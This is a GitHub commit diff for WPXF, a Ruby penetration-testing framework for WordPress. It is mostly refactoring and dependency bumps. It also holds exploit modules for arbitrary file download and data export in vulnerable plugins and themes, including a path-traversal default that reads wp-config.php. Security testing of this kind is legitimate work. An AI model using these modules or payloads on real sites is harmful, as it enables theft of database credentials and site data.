Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit d60001a

Browse files
committed
Merged development into master
2 parents 03079fa + bf53b3f commit d60001a

File tree

38 files changed

+796
-374
lines changed

38 files changed

+796
-374
lines changed

.ruby-version

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
2.2.2
1+
2.2.6

.travis.yml

Lines changed: 3 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,8 @@
11
language: ruby
22
rvm:
3-
- 2.2.0
4-
- 2.2.1
5-
- 2.2.2
6-
- 2.2.3
7-
- 2.2.4
8-
- 2.3.0
3+
- 2.2.6
4+
- 2.3.3
5+
- 2.4.0
96
before_install:
107
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
118
script: bundle exec rspec

Gemfile

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
11
source 'https://rubygems.org'
22
gem 'colorize', '>=0.8.1'
33
gem 'mime-types', '>=3.1'
4-
gem 'nokogiri', '~>1.6.8'
5-
gem 'slop', '~>4.3'
6-
gem 'typhoeus', '~>1.1.0'
4+
gem 'nokogiri', '~>1.7.0'
5+
gem 'slop', '~>4.4.1'
6+
gem 'typhoeus', '~>1.1.2'
77
gem 'require_all', '~>1.3.3'
88
gem 'rubyzip', '~>1.2'
99

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
A Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems.
55

66
### What do I need to run it?
7-
Ensure that you have Ruby 2.2.x installed on your system and then install all required dependencies by opening a command prompt / terminal in the WPXF folder and running ```bundle install```.
7+
Ensure that you have Ruby >= 2.2.6 installed on your system and then install all required dependencies by opening a command prompt / terminal in the WPXF folder and running ```bundle install```.
88

99
If bundler is not present on your system, you can install it by running ```gem install bundler```.
1010

VERSION

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
1.3.2
1+
1.4

lib/wpxf/core/module_info.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,11 +12,12 @@ def initialize
1212
def update_info(info)
1313
required_keys = [:name, :desc, :author, :date]
1414
unless required_keys.all? { |key| info.key?(key) || @info.key?(key) }
15-
fail 'Missing one or more required module info keys'
15+
raise 'Missing one or more required module info keys'
1616
end
1717

1818
@info.merge!(info)
1919
@info[:date] = Date.parse(@info[:date].to_s)
20+
@info[:desc] = @info[:desc].split.join(' ')
2021
@info
2122
end
2223

lib/wpxf/wordpress/file_download.rb

Lines changed: 16 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -18,11 +18,15 @@ def initialize
1818
StringOption.new(
1919
name: 'export_path',
2020
desc: 'The path to save the file to',
21-
required: false
21+
required: export_path_required
2222
)
2323
])
2424
end
2525

26+
def export_path_required
27+
false
28+
end
29+
2630
# @return [String] the working directory of the vulnerable file.
2731
def working_directory
2832
nil
@@ -60,7 +64,15 @@ def remote_file
6064

6165
# @return [String] the path to save the file to.
6266
def export_path
63-
normalized_option_value('export_path')
67+
return nil if normalized_option_value('export_path').nil?
68+
File.expand_path normalized_option_value('export_path')
69+
end
70+
71+
# Validate the contents of the requested file.
72+
# @param [String] the file contents.
73+
# @return [Boolean] true if valid.
74+
def validate_content(content)
75+
true
6476
end
6577

6678
# Run the module.
@@ -71,12 +83,12 @@ def run
7183
return false unless super
7284

7385
res = request_file
74-
return false unless validate_result(res)
86+
return false unless validate_result(res) && validate_content(res.body)
7587

7688
if export_path.nil?
7789
emit_success "Result: \n#{res.body}"
7890
else
79-
emit_success "Downlaoded file to #{export_path}"
91+
emit_success "Downloaded file to #{export_path}"
8092
end
8193

8294
true

modules/auxiliary/all_in_one_migration_export.rb

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -6,9 +6,11 @@ def initialize
66

77
update_info(
88
name: 'All-in-One Migration Export',
9-
desc: 'This module allows you to export WordPress data (such as the '\
10-
'database, plugins, themes, uploaded files, etc) via the '\
11-
'All-in-One Migration plugin in versions < 2.0.5.',
9+
desc: %(
10+
This module allows you to export WordPress data (such as the
11+
database, plugins, themes, uploaded files, etc) via the
12+
All-in-One Migration plugin in versions < 2.0.5.
13+
),
1214
author: [
1315
'James Golovich', # Disclosure
1416
'Rob Carr <rob[at]rastating.com>' # WPXF module
@@ -40,7 +42,8 @@ def check
4042
end
4143

4244
def export_path
43-
normalized_option_value('export_path')
45+
return nil if normalized_option_value('export_path').nil?
46+
File.expand_path normalized_option_value('export_path')
4447
end
4548

4649
def run
@@ -66,6 +69,6 @@ def run
6669
end
6770

6871
emit_success "Saved export to #{export_path}"
69-
return true
72+
true
7073
end
7174
end
Lines changed: 7 additions & 62 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,11 @@
11
class Wpxf::Auxiliary::AntiochArbitraryFileDownload < Wpxf::Module
2-
include Wpxf
2+
include Wpxf::WordPress::FileDownload
33

44
def initialize
55
super
66

77
update_info(
88
name: 'Antioch Theme Arbitrary File Download',
9-
desc: 'This module exploits a vulnerability in the Antioch theme '\
10-
'which allows you to download any arbitrary file accessible '\
11-
'by the user the web server is running as.',
129
author: [
1310
'Ashiyane Digital Security Team', # Disclosure
1411
'Rob Carr <rob[at]rastating.com>' # WPXF module
@@ -18,77 +15,25 @@ def initialize
1815
],
1916
date: 'Sep 08 2014'
2017
)
21-
22-
register_options([
23-
StringOption.new(
24-
name: 'remote_file',
25-
desc: 'The path to the remote file (relative to /wp-content/themes/antioch/lib/scripts/)',
26-
required: true,
27-
default: '../../../../../wp-config.php'
28-
),
29-
StringOption.new(
30-
name: 'export_path',
31-
desc: 'The file to save the file to',
32-
required: false
33-
)
34-
])
3518
end
3619

3720
def check
3821
check_theme_version_from_style('antioch')
3922
end
4023

41-
def remote_file
42-
normalized_option_value('remote_file')
24+
def default_remote_file_path
25+
'../../../../../wp-config.php'
4326
end
4427

45-
def export_path
46-
normalized_option_value('export_path')
28+
def working_directory
29+
'wp-content/themes/antioch/lib/scripts/'
4730
end
4831

4932
def downloader_url
5033
normalize_uri(wordpress_url_themes, 'antioch', 'lib', 'scripts', 'download.php')
5134
end
5235

53-
def request_file
54-
if export_path.nil?
55-
emit_info 'Requesting file...'
56-
return execute_get_request(
57-
url: downloader_url,
58-
params: { 'file' => remote_file }
59-
)
60-
else
61-
emit_info 'Downloading file...'
62-
return download_file(
63-
url: downloader_url,
64-
method: :get,
65-
params: { 'file' => remote_file },
66-
local_filename: export_path
67-
)
68-
end
69-
end
70-
71-
def run
72-
return false unless super
73-
74-
res = request_file
75-
76-
if res.nil? || res.timed_out?
77-
emit_error 'Request timed out, try increasing the http_client_timeout'
78-
return false
79-
end
80-
81-
if res.code != 200
82-
emit_error "Server responded with code #{res.code}"
83-
return false
84-
end
85-
86-
if export_path.nil?
87-
emit_success "Result: \n#{res.body}"
88-
else
89-
emit_success "Downlaoded file to #{export_path}"
90-
end
91-
92-
true
36+
def download_request_params
37+
{ 'file' => remote_file }
9338
end
9439
end

modules/auxiliary/cp_image_store_arbitrary_file_download.rb

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -6,9 +6,11 @@ def initialize
66

77
update_info(
88
name: 'CP Image Store Arbitrary File Download',
9-
desc: 'This module exploits a vulnerability in version 1.0.5 of the CP '\
10-
'Image Store plugin which allows you to download any arbitrary '\
11-
'file accessible by the user the web server is running as.',
9+
desc: %(
10+
This module exploits a vulnerability in version 1.0.5 of the CP
11+
Image Store plugin which allows you to download any arbitrary
12+
file accessible by the user the web server is running as.
13+
),
1214
author: [
1315
'Joaquin Ramirez Martinez', # Disclosure
1416
'Rob Carr <rob[at]rastating.com>' # WPXF module
@@ -53,7 +55,8 @@ def remote_file
5355
end
5456

5557
def export_path
56-
normalized_option_value('export_path')
58+
return nil if normalized_option_value('export_path').nil?
59+
File.expand_path normalized_option_value('export_path')
5760
end
5861

5962
def run
@@ -107,6 +110,6 @@ def run
107110
end
108111
end
109112

110-
return true
113+
true
111114
end
112115
end

0 commit comments

Comments
 (0)